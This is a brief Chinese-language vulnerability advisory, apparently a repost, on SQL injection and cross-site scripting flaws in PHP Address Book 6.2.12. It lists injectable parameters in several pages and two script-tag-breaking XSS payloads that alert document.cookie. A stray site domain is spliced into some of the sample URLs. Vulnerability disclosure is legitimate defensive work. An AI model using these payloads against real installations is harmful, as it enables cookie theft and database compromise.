标题: PHP Address Book 6.2.12 Multiple security vulnerabilities 作者: Stefan Schurtz 影响软件: Successfully tested on PHP Address Book 6.2.12 开发者网址: http://sourceforge.net/projects/php-addressbook/ 缺陷描述 ========================== PHP Address Book 6.2.12 is 含多个xss及sql注射问题 ================== 测试证明 ================== // 盲注 http://www.2cto.com /addressbook/edit.php?id=[sql-injection] http://www.2cto.com /addressbook/group.php?add=Add to&group=1&selected%5b%5d=132&to_group=[sql-injection] http://[target]/addressbook/ vc ard.php?id=[sql-injection] // XSS http://[target]/addressbook/preferences.php?from='"</script><script>alert(document.cookie)</script> http://[target]/addressbook/index.php?group='"</script><script>alert(document.cookie)</script> www.2cto.com修复： 针对上述代码进行过滤相应页面
查看更多关于PHP Address Book 6.2.12多个安全缺陷及修复 - 网站安全的详细内容...